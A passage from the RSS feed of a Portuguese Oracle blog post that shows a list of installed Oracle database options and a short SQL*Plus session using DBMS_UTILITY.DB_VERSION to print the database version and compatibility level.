   With the Bit-mapped indexes option
   With the Connection multiplexing option
   With the Connection pooling option
   With the Database queuing option
   With the Incremental backup and recovery option
   With the Instead-of triggers option
   With the Parallel backup and recovery option
   With the Parallel execution option
   With the Parallel load option
   With the Point-in-time tablespace recovery option
   With the Fine-grained access control option
   With the Proxy authentication/authorization option
   With the Change Data Capture option
   With the Plan Stability option
   With the Online Index Build option
   With the Coalesce Index option
   With the Managed Standby option
   With the Materialized view rewrite option
   With the Materialized view warehouse refresh option
   With the Database resource manager option
   With the Spatial option
   With the Visual Information Retrieval option
   With the Export transportable tablespaces option
   With the Transparent Application Failover option
   With the Fast-Start Fault Recovery option
   With the Sample Scan option
   With the Duplexed backups option
   With the Java option
   With the OLAP Window Functions option
   With the Block Media Recovery option
   With the Fine-grained Auditing option
   With the Application Role option
   With the Enterprise User Security option
   With the Oracle Data Guard option
   With the OLAP option
   With the Heap segment compression option
   With the Join index option
   With the Trial Recovery option
   With the Oracle Data Mining option
   With the Online Redefinition option
   With the Streams option
   With the File Mapping option
   The Real Application Clusters option is not installed
   The Oracle Label Security option is not installed
Port String: IBMPC/WIN_NT-8.1.0
SQL></pre>
<p><strong>Usar a DBMS_UTILITY</strong></p>
<pre class="brush: sql;">SQL> DESC DBMS_OUTPUT

PROCEDURE DB_VERSION
 Argument Name                  Type                    In/Out Default?
 ------------------------------ ----------------------- ------ --------
 VERSION                        VARCHAR2                OUT
 COMPATIBILITY                  VARCHAR2                OUT

SQL>
SQL>
SQL> declare
  2  a1 varchar2(1000);
  3  a2 varchar2(1000);
  4  begin
  5    dbms_utility.db_version(a1, a2);
  6    dbms_output.put_line('VERSAO: '||A1||'   COMPATIBILTY: '||A2);
  7  end;
  8  /
VERSAO: 9.2.0.5.0   COMPATIBILTY: 9.2.0.0.0
SQL> </pre>
<p>Comente <a href="http://glufke.net/oracle/viewtopic.php?t=248">aqui</a></p>
]]></content:encoded>
			<wfw:commentRss>http://glufke.net/2007/08/22/como-descobrir-a-versao-do-oracle/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

